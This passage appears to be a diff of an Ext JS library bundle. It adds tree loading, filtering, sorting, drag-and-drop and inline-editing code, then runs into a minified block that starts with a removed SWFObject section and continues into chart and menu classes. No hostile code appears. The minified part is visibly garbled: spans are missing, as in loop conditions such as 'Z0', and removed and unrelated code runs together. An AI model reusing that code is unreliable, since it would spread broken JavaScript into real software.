+}, abort:function () { + if (this.isLoading()) { + Ext.Ajax.abort(this.transId) + } +}, createNode:function (attr) { + if (this.baseAttrs) { + Ext.applyIf(attr, this.baseAttrs) + } + if (this.applyLoader !== false && !attr.loader) { + attr.loader = this + } + if (Ext.isString(attr.uiProvider)) { + attr.uiProvider = this.uiProviders[attr.uiProvider] || eval(attr.uiProvider) + } + if (attr.nodeType) { + return new Ext.tree.TreePanel.nodeTypes[attr.nodeType](attr) + } else { + return attr.leaf ? new Ext.tree.TreeNode(attr) : new Ext.tree.AsyncTreeNode(attr) + } +}, processResponse:function (d, c, k, l) { + var m = d.responseText; + try { + var a = d.responseData || Ext.decode(m); + c.beginUpdate(); + for (var g = 0, h = a.length; g < h; g++) { + var b = this.createNode(a[g]); + if (b) { + c.appendChild(b) + } + } + c.endUpdate(); + this.runCallback(k, l || c, [c]) + } catch (j) { + this.handleFailure(d) + } +}, handleResponse:function (c) { + this.transId = false; + var b = c.argument; + this.processResponse(c, b.node, b.callback, b.scope); + this.fireEvent("load", this, b.node, c) +}, handleFailure:function (c) { + this.transId = false; + var b = c.argument; + this.fireEvent("loadexception", this, b.node, c); + this.runCallback(b.callback, b.scope || b.node, [b.node]) +}, destroy:function () { + this.abort(); + this.purgeListeners() +}}); +Ext.tree.TreeFilter = function (a, b) { + this.tree = a; + this.filtered = {}; + Ext.apply(this, b) +}; +Ext.tree.TreeFilter.prototype = {clearBlank:false, reverse:false, autoClear:false, remove:false, filter:function (d, a, b) { + a = a || "text"; + var c; + if (typeof d == "string") { + var e = d.length; + if (e == 0 && this.clearBlank) { + this.clear(); + return + } + d = d.toLowerCase(); + c = function (g) { + return g.attributes[a].substr(0, e).toLowerCase() == d + } + } else { + if (d.exec) { + c = function (g) { + return d.test(g.attributes[a]) + } + } else { + throw"Illegal filter type, must be string or regex" + } + } + this.filterBy(c, null, b) +}, filterBy:function (d, c, b) { + b = b || this.tree.root; + if (this.autoClear) { + this.clear() + } + var a = this.filtered, i = this.reverse; + var e = function (k) { + if (k == b) { + return true + } + if (a[k.id]) { + return false + } + var j = d.call(c || k, k); + if (!j || i) { + a[k.id] = k; + k.ui.hide(); + return false + } + return true + }; + b.cascade(e); + if (this.remove) { + for (var h in a) { + if (typeof h != "function") { + var g = a[h]; + if (g && g.parentNode) { + g.parentNode.removeChild(g) + } + } + } + } +}, clear:function () { + var b = this.tree; + var a = this.filtered; + for (var d in a) { + if (typeof d != "function") { + var c = a[d]; + if (c) { + c.ui.show() + } + } + } + this.filtered = {} +}}; +Ext.tree.TreeSorter = Ext.extend(Object, {constructor:function (a, c) { + Ext.apply(this, c); + a.on({scope:this, beforechildrenrendered:this.doSort, append:this.updateSort, insert:this.updateSort, textchange:this.updateSortParent}); + var e = this.dir && this.dir.toLowerCase() == "desc", i = this.property || "text", d = this.sortType, h = this.folderSort, b = this.caseSensitive === true, g = this.leafAttr || "leaf"; + if (Ext.isString(d)) { + d = Ext.data.SortTypes[d] + } + this.sortFn = function (o, m) { + var k = o.attributes, j = m.attributes; + if (h) { + if (k[g] && !j[g]) { + return 1 + } + if (!k[g] && j[g]) { + return -1 + } + } + var n = k[i], l = j[i], q = d ? d(n) : (b ? n : n.toUpperCase()), p = d ? d(l) : (b ? l : l.toUpperCase()); + if (q < p) { + return e ? 1 : -1 + } else { + if (q > p) { + return e ? -1 : 1 + } + } + return 0 + } +}, doSort:function (a) { + a.sort(this.sortFn) +}, updateSort:function (a, b) { + if (b.childrenRendered) { + this.doSort.defer(1, this, [b]) + } +}, updateSortParent:function (a) { + var b = a.parentNode; + if (b && b.childrenRendered) { + this.doSort.defer(1, this, [b]) + } +}}); +if (Ext.dd.DropZone) { + Ext.tree.TreeDropZone = function (a, b) { + this.allowParentInsert = b.allowParentInsert || false; + this.allowContainerDrop = b.allowContainerDrop || false; + this.appendOnly = b.appendOnly || false; + Ext.tree.TreeDropZone.superclass.constructor.call(this, a.getTreeEl(), b); + this.tree = a; + this.dragOverData = {}; + this.lastInsertClass = "x-tree-no-status" + }; + Ext.extend(Ext.tree.TreeDropZone, Ext.dd.DropZone, {ddGroup:"TreeDD", expandDelay:1000, expandNode:function (a) { + if (a.hasChildNodes() && !a.isExpanded()) { + a.expand(false, null, this.triggerCacheRefresh.createDelegate(this)) + } + }, queueExpand:function (a) { + this.expandProcId = this.expandNode.defer(this.expandDelay, this, [a]) + }, cancelExpand:function () { + if (this.expandProcId) { + clearTimeout(this.expandProcId); + this.expandProcId = false + } + }, isValidDropPoint:function (a, k, i, d, c) { + if (!a || !c) { + return false + } + var g = a.node; + var h = c.node; + if (!(g && g.isTarget && k)) { + return false + } + if (k == "append" && g.allowChildren === false) { + return false + } + if ((k == "above" || k == "below") && (g.parentNode && g.parentNode.allowChildren === false)) { + return false + } + if (h && (g == h || h.contains(g))) { + return false + } + var b = this.dragOverData; + b.tree = this.tree; + b.target = g; + b.data = c; + b.point = k; + b.source = i; + b.rawEvent = d; + b.dropNode = h; + b.cancel = false; + var j = this.tree.fireEvent("nodedragover", b); + return b.cancel === false && j !== false + }, getDropPoint:function (h, g, l) { + var m = g.node; + if (m.isRoot) { + return m.allowChildren !== false ? "append" : false + } + var c = g.ddel; + var o = Ext.lib.Dom.getY(c), j = o + c.offsetHeight; + var i = Ext.lib.Event.getPageY(h); + var k = m.allowChildren === false || m.isLeaf(); + if (this.appendOnly || m.parentNode.allowChildren === false) { + return k ? false : "append" + } + var d = false; + if (!this.allowParentInsert) { + d = m.hasChildNodes() && m.isExpanded() + } + var a = (j - o) / (k ? 2 : 3); + if (i >= o && i < (o + a)) { + return"above" + } else { + if (!d && (k || i >= j - a && i <= j)) { + return"below" + } else { + return"append" + } + } + }, onNodeEnter:function (d, a, c, b) { + this.cancelExpand() + }, onContainerOver:function (a, c, b) { + if (this.allowContainerDrop && this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode, node:this.tree.getRootNode()}, "append", a, c, b)) { + return this.dropAllowed + } + return this.dropNotAllowed + }, onNodeOver:function (b, i, h, g) { + var k = this.getDropPoint(h, b, i); + var c = b.node; + if (!this.expandProcId && k == "append" && c.hasChildNodes() && !b.node.isExpanded()) { + this.queueExpand(c) + } else { + if (k != "append") { + this.cancelExpand() + } + } + var d = this.dropNotAllowed; + if (this.isValidDropPoint(b, k, i, h, g)) { + if (k) { + var a = b.ddel; + var j; + if (k == "above") { + d = b.node.isFirst() ? "x-tree-drop-ok-above" : "x-tree-drop-ok-between"; + j = "x-tree-drag-insert-above" + } else { + if (k == "below") { + d = b.node.isLast() ? "x-tree-drop-ok-below" : "x-tree-drop-ok-between"; + j = "x-tree-drag-insert-below" + } else { + d = "x-tree-drop-ok-append"; + j = "x-tree-drag-append" + } + } + if (this.lastInsertClass != j) { + Ext.fly(a).replaceClass(this.lastInsertClass, j); + this.lastInsertClass = j + } + } + } + return d + }, onNodeOut:function (d, a, c, b) { + this.cancelExpand(); + this.removeDropIndicators(d) + }, onNodeDrop:function (i, b, h, d) { + var a = this.getDropPoint(h, i, b); + var g = i.node; + g.ui.startDrop(); + if (!this.isValidDropPoint(i, a, b, h, d)) { + g.ui.endDrop(); + return false + } + var c = d.node || (b.getTreeNode ? b.getTreeNode(d, g, a, h) : null); + return this.processDrop(g, d, a, b, h, c) + }, onContainerDrop:function (a, g, c) { + if (this.allowContainerDrop && this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode, node:this.tree.getRootNode()}, "append", a, g, c)) { + var d = this.tree.getRootNode(); + d.ui.startDrop(); + var b = c.node || (a.getTreeNode ? a.getTreeNode(c, d, "append", g) : null); + return this.processDrop(d, c, "append", a, g, b) + } + return false + }, processDrop:function (j, h, b, a, i, d) { + var g = {tree:this.tree, target:j, data:h, point:b, source:a, rawEvent:i, dropNode:d, cancel:!d, dropStatus:false}; + var c = this.tree.fireEvent("beforenodedrop", g); + if (c === false || g.cancel === true || !g.dropNode) { + j.ui.endDrop(); + return g.dropStatus + } + j = g.target; + if (b == "append" && !j.isExpanded()) { + j.expand(false, null, function () { + this.completeDrop(g) + }.createDelegate(this)) + } else { + this.completeDrop(g) + } + return true + }, completeDrop:function (h) { + var d = h.dropNode, e = h.point, c = h.target; + if (!Ext.isArray(d)) { + d = [d] + } + var g; + for (var b = 0, a = d.length; b < a; b++) { + g = d[b]; + if (e == "above") { + c.parentNode.insertBefore(g, c) + } else { + if (e == "below") { + c.parentNode.insertBefore(g, c.nextSibling) + } else { + c.appendChild(g) + } + } + } + g.ui.focus(); + if (Ext.enableFx && this.tree.hlDrop) { + g.ui.highlight() + } + c.ui.endDrop(); + this.tree.fireEvent("nodedrop", h) + }, afterNodeMoved:function (a, c, g, d, b) { + if (Ext.enableFx && this.tree.hlDrop) { + b.ui.focus(); + b.ui.highlight() + } + this.tree.fireEvent("nodedrop", this.tree, d, c, a, g) + }, getTree:function () { + return this.tree + }, removeDropIndicators:function (b) { + if (b && b.ddel) { + var a = b.ddel; + Ext.fly(a).removeClass(["x-tree-drag-insert-above", "x-tree-drag-insert-below", "x-tree-drag-append"]); + this.lastInsertClass = "_noclass" + } + }, beforeDragDrop:function (b, a, c) { + this.cancelExpand(); + return true + }, afterRepair:function (a) { + if (a && Ext.enableFx) { + a.node.ui.highlight() + } + this.hideProxy() + }}) +} +if (Ext.dd.DragZone) { + Ext.tree.TreeDragZone = function (a, b) { + Ext.tree.TreeDragZone.superclass.constructor.call(this, a.innerCt, b); + this.tree = a + }; + Ext.extend(Ext.tree.TreeDragZone, Ext.dd.DragZone, {ddGroup:"TreeDD", onBeforeDrag:function (a, b) { + var c = a.node; + return c && c.draggable && !c.disabled + }, onInitDrag:function (b) { + var a = this.dragData; + this.tree.getSelectionModel().select(a.node); + this.tree.eventModel.disable(); + this.proxy.update(""); + a.node.ui.appendDDGhost(this.proxy.ghost.dom); + this.tree.fireEvent("startdrag", this.tree, a.node, b) + }, getRepairXY:function (b, a) { + return a.node.ui.getDDRepairXY() + }, onEndDrag:function (a, b) { + this.tree.eventModel.enable.defer(100, this.tree.eventModel); + this.tree.fireEvent("enddrag", this.tree, a.node, b) + }, onValidDrop:function (a, b, c) { + this.tree.fireEvent("dragdrop", this.tree, this.dragData.node, a, b); + this.hideProxy() + }, beforeInvalidDrop:function (a, c) { + var b = this.tree.getSelectionModel(); + b.clearSelections(); + b.select(this.dragData.node) + }, afterRepair:function () { + if (Ext.enableFx && this.tree.hlDrop) { + Ext.Element.fly(this.dragData.ddel).highlight(this.hlColor || "c3daf9") + } + this.dragging = false + }}) +} +Ext.tree.TreeEditor = function (a, c, b) { + c = c || {}; + var d = c.events ? c : new Ext.form.TextField(c); + Ext.tree.TreeEditor.superclass.constructor.call(this, d, b); + this.tree = a; + if (!a.rendered) { + a.on("render", this.initEditor, this) + } else { + this.initEditor(a) + } +}; +Ext.extend(Ext.tree.TreeEditor, Ext.Editor, {alignment:"l-l", autoSize:false, hideEl:false, cls:"x-small-editor x-tree-editor", shim:false, shadow:"frame", maxWidth:250, editDelay:350, initEditor:function (a) { + a.on({scope:this, beforeclick:this.beforeNodeClick, dblclick:this.onNodeDblClick}); + this.on({scope:this, complete:this.updateNode, beforestartedit:this.fitToTree, specialkey:this.onSpecialKey}); + this.on("startedit", this.bindScroll, this, {delay:10}) +}, fitToTree:function (b, c) { + var e = this.tree.getTreeEl().dom, d = c.dom; + if (e.scrollLeft > d.offsetLeft) { + e.scrollLeft = d.offsetLeft + } + var a = Math.min(this.maxWidth, (e.clientWidth > 20 ? e.clientWidth : e.offsetWidth) - Math.max(0, d.offsetLeft - e.scrollLeft) - 5); + this.setSize(a, "") +}, triggerEdit:function (a, c) { + this.completeEdit(); + if (a.attributes.editable !== false) { + this.editNode = a; + if (this.tree.autoScroll) { + Ext.fly(a.ui.getEl()).scrollIntoView(this.tree.body) + } + var b = a.text || ""; + if (!Ext.isGecko && Ext.isEmpty(a.text)) { + a.setText(" ") + } + this.autoEditTimer = this.startEdit.defer(this.editDelay, this, [a.ui.textNode, b]); + return false + } +}, bindScroll:function () { + this.tree.getTreeEl().on("scroll", this.cancelEdit, this) +}, beforeNodeClick:function (a, b) { + clearTimeout(this.autoEditTimer); + if (this.tree.getSelectionModel().isSelected(a)) { + b.stopEvent(); + return this.triggerEdit(a) + } +}, onNodeDblClick:function (a, b) { + clearTimeout(this.autoEditTimer) +}, updateNode:function (a, b) { + this.tree.getTreeEl().un("scroll", this.cancelEdit, this); + this.editNode.setText(b) +}, onHide:function () { + Ext.tree.TreeEditor.superclass.onHide.call(this); + if (this.editNode) { + this.editNode.ui.focus.defer(50, this.editNode.ui) + } +}, onSpecialKey:function (c, b) { + var a = b.getKey(); + if (a == b.ESC) { + b.stopEvent(); + this.cancelEdit() + } else { + if (a == b.ENTER && !b.hasModifier()) { + b.stopEvent(); + this.completeEdit() + } + } +}, onDestroy:function () { + clearTimeout(this.autoEditTimer); + Ext.tree.TreeEditor.superclass.onDestroy.call(this); + var a = this.tree; + a.un("beforeclick", this.beforeNodeClick, this); + a.un("dblclick", this.onNodeDblClick, this) +}}); /* SWFObject v2.2 - is released under the MIT License -*/ -var swfobject=function(){var E="undefined",s="object",T="Shockwave Flash",X="ShockwaveFlash.ShockwaveFlash",r="application/x-shockwave-flash",S="SWFObjectExprInst",y="onreadystatechange",P=window,k=document,u=navigator,U=false,V=[i],p=[],O=[],J=[],m,R,F,C,K=false,a=false,o,H,n=true,N=function(){var ab=typeof k.getElementById!=E&&typeof k.getElementsByTagName!=E&&typeof k.createElement!=E,ai=u.userAgent.toLowerCase(),Z=u.platform.toLowerCase(),af=Z?(/win/).test(Z):/win/.test(ai),ad=Z?(/mac/).test(Z):/mac/.test(ai),ag=/webkit/.test(ai)?parseFloat(ai.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,Y=!+"\v1",ah=[0,0,0],ac=null;if(typeof u.plugins!=E&&typeof u.plugins[T]==s){ac=u.plugins[T].description;if(ac&&!(typeof u.mimeTypes!=E&&u.mimeTypes[r]&&!u.mimeTypes[r].enabledPlugin)){U=true;Y=false;ac=ac.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ah[0]=parseInt(ac.replace(/^(.*)\..*$/,"$1"),10);ah[1]=parseInt(ac.replace(/^.*\.(.*)\s.*$/,"$1"),10);ah[2]=/[a-zA-Z]/.test(ac)?parseInt(ac.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof P.ActiveXObject!=E){try{var ae=new ActiveXObject(X);if(ae){ac=ae.GetVariable("$version");if(ac){Y=true;ac=ac.split(" ")[1].split(",");ah=[parseInt(ac[0],10),parseInt(ac[1],10),parseInt(ac[2],10)]}}}catch(aa){}}}return{w3:ab,pv:ah,wk:ag,ie:Y,win:af,mac:ad}}(),l=function(){if(!N.w3){return}if((typeof k.readyState!=E&&k.readyState=="complete")||(typeof k.readyState==E&&(k.getElementsByTagName("body")[0]||k.body))){g()}if(!K){if(typeof k.addEventListener!=E){k.addEventListener("DOMContentLoaded",g,false)}if(N.ie&&N.win){k.attachEvent(y,function(){if(k.readyState=="complete"){k.detachEvent(y,arguments.callee);g()}});if(P==top){(function(){if(K){return}try{k.documentElement.doScroll("left")}catch(Y){setTimeout(arguments.callee,0);return}g()})()}}if(N.wk){(function(){if(K){return}if(!(/loaded|complete/).test(k.readyState)){setTimeout(arguments.callee,0);return}g()})()}t(g)}}();function g(){if(K){return}try{var aa=k.getElementsByTagName("body")[0].appendChild(D("span"));aa.parentNode.removeChild(aa)}catch(ab){return}K=true;var Y=V.length;for(var Z=0;Z0){for(var ag=0;ag0){var af=c(Z);if(af){if(G(p[ag].swfVersion)&&!(N.wk&&N.wk<312)){x(Z,true);if(ac){ab.success=true;ab.ref=A(Z);ac(ab)}}else{if(p[ag].expressInstall&&B()){var aj={};aj.data=p[ag].expressInstall;aj.width=af.getAttribute("width")||"0";aj.height=af.getAttribute("height")||"0";if(af.getAttribute("class")){aj.styleclass=af.getAttribute("class")}if(af.getAttribute("align")){aj.align=af.getAttribute("align")}var ai={};var Y=af.getElementsByTagName("param");var ad=Y.length;for(var ae=0;ae'}}ab.outerHTML='"+ag+"";O[O.length]=aj.id;Y=c(aj.id)}else{var aa=D(s);aa.setAttribute("type",r);for(var ad in aj){if(aj[ad]!=Object.prototype[ad]){if(ad.toLowerCase()=="styleclass"){aa.setAttribute("class",aj[ad])}else{if(ad.toLowerCase()!="classid"){aa.setAttribute(ad,aj[ad])}}}}for(var ac in ah){if(ah[ac]!=Object.prototype[ac]&&ac.toLowerCase()!="movie"){e(aa,ac,ah[ac])}}ab.parentNode.replaceChild(aa,ab);Y=aa}}return Y}function e(aa,Y,Z){var ab=D("param");ab.setAttribute("name",Y);ab.setAttribute("value",Z);aa.appendChild(ab)}function z(Z){var Y=c(Z);if(Y&&Y.nodeName=="OBJECT"){if(N.ie&&N.win){Y.style.display="none";(function(){if(Y.readyState==4){b(Z)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.removeChild(Y)}}}function b(aa){var Z=c(aa);if(Z){for(var Y in Z){if(typeof Z[Y]=="function"){Z[Y]=null}}Z.parentNode.removeChild(Z)}}function c(aa){var Y=null;try{Y=k.getElementById(aa)}catch(Z){}return Y}function D(Y){return k.createElement(Y)}function j(aa,Y,Z){aa.attachEvent(Y,Z);J[J.length]=[aa,Y,Z]}function G(aa){var Z=N.pv,Y=aa.split(".");Y[0]=parseInt(Y[0],10);Y[1]=parseInt(Y[1],10)||0;Y[2]=parseInt(Y[2],10)||0;return(Z[0]>Y[0]||(Z[0]==Y[0]&&Z[1]>Y[1])||(Z[0]==Y[0]&&Z[1]==Y[1]&&Z[2]>=Y[2]))?true:false}function w(ad,Z,ae,ac){if(N.ie&&N.mac){return}var ab=k.getElementsByTagName("head")[0];if(!ab){return}var Y=(ae&&typeof ae=="string")?ae:"screen";if(ac){o=null;H=null}if(!o||H!=Y){var aa=D("style");aa.setAttribute("type","text/css");aa.setAttribute("media",Y);o=ab.appendChild(aa);if(N.ie&&N.win&&typeof k.styleSheets!=E&&k.styleSheets.length>0){o=k.styleSheets[k.styleSheets.length-1]}H=Y}if(N.ie&&N.win){if(o&&typeof o.addRule==s){o.addRule(ad,Z)}}else{if(o&&typeof k.createTextNode!=E){o.appendChild(k.createTextNode(ad+" {"+Z+"}"))}}}function x(aa,Y){if(!n){return}var Z=Y?"visible":"hidden";if(K&&c(aa)){c(aa).style.visibility=Z}else{w("#"+aa,"visibility:"+Z)}}function M(Z){var aa=/[\\\"<>\.;]/;var Y=aa.exec(Z)!=null;return Y&&typeof encodeURIComponent!=E?encodeURIComponent(Z):Z}var d=function(){if(N.ie&&N.win){window.attachEvent("onunload",function(){var ad=J.length;for(var ac=0;ac0){for(h=0;h-1&&e.position=="left"){e.position="bottom"}return e},onDestroy:function(){Ext.chart.CartesianChart.superclass.onDestroy.call(this);Ext.each(this.labelFn,function(a){this.removeFnProxy(a)},this)}});Ext.reg("cartesianchart",Ext.chart.CartesianChart);Ext.chart.LineChart=Ext.extend(Ext.chart.CartesianChart,{type:"line"});Ext.reg("linechart",Ext.chart.LineChart);Ext.chart.ColumnChart=Ext.extend(Ext.chart.CartesianChart,{type:"column"});Ext.reg("columnchart",Ext.chart.ColumnChart);Ext.chart.StackedColumnChart=Ext.extend(Ext.chart.CartesianChart,{type:"stackcolumn"});Ext.reg("stackedcolumnchart",Ext.chart.StackedColumnChart);Ext.chart.BarChart=Ext.extend(Ext.chart.CartesianChart,{type:"bar"});Ext.reg("barchart",Ext.chart.BarChart);Ext.chart.StackedBarChart=Ext.extend(Ext.chart.CartesianChart,{type:"stackbar"});Ext.reg("stackedbarchart",Ext.chart.StackedBarChart);Ext.chart.Axis=function(a){Ext.apply(this,a)};Ext.chart.Axis.prototype={type:null,orientation:"horizontal",reverse:false,labelFunction:null,hideOverlappingLabels:true,labelSpacing:2};Ext.chart.NumericAxis=Ext.extend(Ext.chart.Axis,{type:"numeric",minimum:NaN,maximum:NaN,majorUnit:NaN,minorUnit:NaN,snapToUnits:true,alwaysShowZero:true,scale:"linear",roundMajorUnit:true,calculateByLabelSize:true,position:"left",adjustMaximumByMajorUnit:true,adjustMinimumByMajorUnit:true});Ext.chart.TimeAxis=Ext.extend(Ext.chart.Axis,{type:"time",minimum:null,maximum:null,majorUnit:NaN,majorTimeUnit:null,minorUnit:NaN,minorTimeUnit:null,snapToUnits:true,stackingEnabled:false,calculateByLabelSize:true});Ext.chart.CategoryAxis=Ext.extend(Ext.chart.Axis,{type:"category",categoryNames:null,calculateCategoryCount:false});Ext.chart.Series=function(a){Ext.apply(this,a)};Ext.chart.Series.prototype={type:null,displayName:null};Ext.chart.CartesianSeries=Ext.extend(Ext.chart.Series,{xField:null,yField:null,showInLegend:true,axis:"primary"});Ext.chart.ColumnSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"column"});Ext.chart.LineSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"line"});Ext.chart.BarSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"bar"});Ext.chart.PieSeries=Ext.extend(Ext.chart.Series,{type:"pie",dataField:null,categoryField:null});Ext.menu.Menu=Ext.extend(Ext.Container,{minWidth:120,shadow:"sides",subMenuAlign:"tl-tr?",defaultAlign:"tl-bl?",allowOtherMenus:false,ignoreParentClicks:false,enableScrolling:true,maxHeight:null,scrollIncrement:24,showSeparator:true,defaultOffsets:[0,0],plain:false,floating:true,zIndex:15000,hidden:true,layout:"menu",hideMode:"offsets",scrollerHeight:8,autoLayout:true,defaultType:"menuitem",bufferResize:false,initComponent:function(){if(Ext.isArray(this.initialConfig)){Ext.apply(this,{items:this.initialConfig})}this.addEvents("click","mouseover","mouseout","itemclick");Ext.menu.MenuMgr.register(this);if(this.floating){Ext.EventManager.onWindowResize(this.hide,this)}else{if(this.initialConfig.hidden!==false){this.hidden=false}this.internalDefaults={hideOnClick:false}}Ext.menu.Menu.superclass.initComponent.call(this);if(this.autoLayout){var a=this.doLayout.createDelegate(this,[]);this.on({add:a,remove:a})}},getLayoutTarget:function(){return this.ul},onRender:function(b,a){if(!b){b=Ext.getBody()}var c={id:this.getId(),cls:"x-menu "+((this.floating)?"x-menu-floating x-layer ":"")+(this.cls||"")+(this.plain?" x-menu-plain":"")+(this.showSeparator?"":" x-menu-nosep"),style:this.style,cn:[{tag:"a",cls:"x-menu-focus",href:"#",onclick:"return false;",tabIndex:"-1"},{tag:"ul",cls:"x-menu-list"}]};if(this.floating){this.el=new Ext.Layer({shadow:this.shadow,dh:c,constrain:false,parentEl:b,zindex:this.zIndex})}else{this.el=b.createChild(c)}Ext.menu.Menu.superclass.onRender.call(this,b,a);if(!this.keyNav){this.keyNav=new Ext.menu.MenuNav(this)}this.focusEl=this.el.child("a.x-menu-focus");this.ul=this.el.child("ul.x-menu-list");this.mon(this.ul,{scope:this,click:this.onClick,mouseover:this.onMouseOver,mouseout:this.onMouseOut});if(this.enableScrolling){this.mon(this.el,{scope:this,delegate:".x-menu-scroller",click:this.onScroll,mouseover:this.deactivateActive})}},findTargetItem:function(b){var a=b.getTarget(".x-menu-list-item",this.ul,true);if(a&&a.menuItemId){return this.items.get(a.menuItemId)}},onClick:function(b){var a=this.findTargetItem(b);if(a){if(a.isFormField){this.setActiveItem(a)}else{if(a instanceof Ext.menu.BaseItem){if(a.menu&&this.ignoreParentClicks){a.expandMenu();b.preventDefault()}else{if(a.onClick){a.onClick(b);this.fireEvent("click",this,a,b)}}}}}},setActiveItem:function(a,b){if(a!=this.activeItem){this.deactivateActive();if((this.activeItem=a).isFormField){a.focus()}else{a.activate(b)}}else{if(b){a.expandMenu()}}},deactivateActive:function(){var b=this.activeItem;if(b){if(b.isFormField){if(b.collapse){b.collapse()}}else{b.deactivate()}delete this.activeItem}},tryActivate:function(g,e){var b=this.items;for(var c=g,a=b.length;c>=0&&c=a.scrollHeight){this.onScrollerOut(null,b)}},onScrollerIn:function(d,b){var a=this.ul.dom,c=Ext.fly(b).is(".x-menu-scroller-top");if(c?a.scrollTop>0:a.scrollTop+this.activeMaxc){b=c;a=i-h}else{if(bb&&b>0){this.activeMax=b-this.scrollerHeight*2-this.el.getFrameWidth("tb")-Ext.num(this.el.shadowOffset,0);this.ul.setHeight(this.activeMax);this.createScrollers();this.el.select(".x-menu-scroller").setDisplayed("")}else{this.ul.setHeight(d);this.el.select(".x-menu-scroller").setDisplayed("none")}this.ul.dom.scrollTop=0;return a},createScrollers:function(){if(!this.scroller){this.scroller={pos:0,top:this.el.insertFirst({tag:"div",cls:"x-menu-scroller x-menu-scroller-top",html:" "}),bottom:this.el.createChild({tag:"div",cls:"x-menu-scroller x-menu-scroller-bottom",html:" "})};this.scroller.top.hover(this.onScrollerIn,this.onScrollerOut,this);this.scroller.topRepeater=new Ext.util.ClickRepeater(this.scroller.top,{listeners:{click:this.onScroll.createDelegate(this,[null,this.scroller.top],false)}});this.scroller.bottom.hover(this.onScrollerIn,this.onScrollerOut,this);this.scroller.bottomRepeater=new Ext.util.ClickRepeater(this.scroller.bottom,{listeners:{click:this.onScroll.createDelegate(this,[null,this.scroller.bottom],false)}})}},onLayout:function(){if(this.isVisible()){if(this.enableScrolling){this.constrainScroll(this.el.getTop())}if(this.floating){this.el.sync()}}},focus:function(){if(!this.hidden){this.doFocus.defer(50,this)}},doFocus:function(){if(!this.hidden){this.focusEl.focus()}},hide:function(a){if(!this.isDestroyed){this.deepHide=a;Ext.menu.Menu.superclass.hide.call(this);delete this.deepHide}},onHide:function(){Ext.menu.Menu.superclass.onHide.call(this);this.deactivateActive();if(this.el&&this.floating){this.el.hide()}var a=this.parentMenu;if(this.deepHide===true&&a){if(a.floating){a.hide(true)}else{a.deactivateActive()}}},lookupComponent:function(a){if(Ext.isString(a)){a=(a=="separator"||a=="-")?new Ext.menu.Separator():new Ext.menu.TextItem(a);this.applyDefaults(a)}else{if(Ext.isObject(a)){a=this.getMenuItem(a)}else{if(a.tagName||a.el){a=new Ext.BoxComponent({el:a})}}}return a},applyDefaults:function(b){if(!Ext.isString(b)){b=Ext.menu.Menu.superclass.applyDefaults.call(this,b);var a=this.internalDefaults;if(a){if(b.events){Ext.applyIf(b.initialConfig,a);Ext.apply(b,a)}else{Ext.applyIf(b,a)}}}return b},getMenuItem:function(a){a.ownerCt=this;if(!a.isXType){if(!a.xtype&&Ext.isBoolean(a.checked)){return new Ext.menu.CheckItem(a)}return Ext.create(a,this.defaultType)}return a},addSeparator:function(){return this.add(new Ext.menu.Separator())},addElement:function(a){return this.add(new Ext.menu.BaseItem({el:a}))},addItem:function(a){return this.add(a)},addMenuItem:function(a){return this.add(this.getMenuItem(a))},addText:function(a){return this.add(new Ext.menu.TextItem(a))},onDestroy:function(){Ext.EventManager.removeResizeListener(this.hide,this);var a=this.parentMenu;if(a&&a.activeChild==this){delete a.activeChild}delete this.parentMenu;Ext.menu.Menu.superclass.onDestroy.call(this);Ext.menu.MenuMgr.unregister(this);if(this.keyNav){this.keyNav.disable()}var b=this.scroller;if(b){Ext.destroy(b.topRepeater,b.bottomRepeater,b.top,b.bottom)}Ext.destroy(this.el,this.focusEl,this.ul)}});Ext.reg("menu",Ext.menu.Menu);Ext.menu.MenuNav=Ext.extend(Ext.KeyNav,function(){function a(d,c){if(!c.tryActivate(c.items.indexOf(c.activeItem)-1,-1)){c.tryActivate(c.items.length-1,-1)}}function b(d,c){if(!c.tryActivate(c.items.indexOf(c.activeItem)+1,1)){c.tryActivate(0,1)}}return{constructor:function(c){Ext.menu.MenuNav.superclass.constructor.call(this,c.el);this.scope=this.menu=c},doRelay:function(g,d){var c=g.getKey();if(this.menu.activeItem&&this.menu.activeItem.isFormField&&c!=g.TAB){return false}if(!this.menu.activeItem&&g.isNavKeyPress()&&c!=g.SPACE&&c!=g.RETURN){this.menu.tryActivate(0,1);return false}return d.call(this.scope||this,g,this.menu)},tab:function(d,c){d.stopEvent();if(d.shiftKey){a(d,c)}else{b(d,c)}},up:a,down:b,right:function(d,c){if(c.activeItem){c.activeItem.expandMenu(true)}},left:function(d,c){c.hide();if(c.parentMenu&&c.parentMenu.activeItem){c.parentMenu.activeItem.activate()}},enter:function(d,c){if(c.activeItem){d.stopPropagation();c.activeItem.onClick(d);c.fireEvent("click",this,c.activeItem);return true}}}}());Ext.menu.MenuMgr=function(){var h,e,b,d={},a=false,l=new Date();function n(){h={};e=new Ext.util.MixedCollection();b=Ext.getDoc().addKeyListener(27,j);b.disable()}function j(){if(e&&e.length>0){var o=e.clone();o.each(function(p){p.hide()});return true}return false}function g(o){e.remove(o);if(e.length<1){b.disable();Ext.getDoc().un("mousedown",m);a=false}}function k(o){var p=e.last();l=new Date();e.add(o);if(!a){b.enable();Ext.getDoc().on("mousedown",m);a=true}if(o.parentMenu){o.getEl().setZIndex(parseInt(o.parentMenu.getEl().getStyle("z-index"),10)+3);o.parentMenu.activeChild=o}else{if(p&&!p.isDestroyed&&p.isVisible()){o.getEl().setZIndex(parseInt(p.getEl().getStyle("z-index"),10)+3)}}}function c(o){if(o.activeChild){o.activeChild.hide()}if(o.autoHideTimer){clearTimeout(o.autoHideTimer);delete o.autoHideTimer}}function i(o){var p=o.parentMenu;if(!p&&!o.allowOtherMenus){j()}else{if(p&&p.activeChild){p.activeChild.hide()}}}function m(o){if(l.getElapsed()>50&&e.length>0&&!o.getTarget(".x-menu")){j()}}return{hideAll:function(){return j()},register:function(o){if(!h){n()}h[o.id]=o;o.on({beforehide:c,hide:g,beforeshow:i,show:k})},get:function(o){if(typeof o=="string"){if(!h){return null}return h[o]}else{if(o.events){return o}else{if(typeof o.length=="number"){return new Ext.menu.Menu({items:o})}else{return Ext.create(o,"menu")}}}},unregister:function(o){delete 